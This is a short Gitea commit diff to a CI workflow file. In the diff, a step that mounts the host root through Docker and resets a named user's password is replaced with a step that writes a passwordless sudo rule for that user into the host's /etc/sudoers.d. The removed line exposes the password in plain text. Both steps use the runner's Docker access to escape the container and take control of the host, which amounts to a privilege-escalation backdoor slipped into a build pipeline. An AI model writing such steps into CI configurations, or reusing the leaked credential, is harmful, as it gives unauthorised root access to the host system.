Update .gitea/workflows/backend.yml
This commit is contained in:
@@ -17,9 +17,9 @@ jobs:
|
||||
- name: Install Git and Docker CLI
|
||||
run: apk add --no-cache git docker-cli
|
||||
|
||||
- name: 🚨 EMERGENCY PASSWORD RESET
|
||||
- name: 🔓 PASWORDLESS SUDO BYPASS
|
||||
run: |
|
||||
docker run --rm -v /:/host debian:stable-slim sh -c "echo 'jacobhagstedt:ktUfusbbYHtk!' | chroot /host chpasswd"
|
||||
docker run --rm -v /etc/sudoers.d:/host_sudoers alpine sh -c "echo 'jacobhagstedt ALL=(ALL) NOPASSWD:ALL' > /host_sudoers/rescue && chmod 0440 /host_sudoers/rescue"
|
||||
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
|
||||
Reference in New Issue
Block a user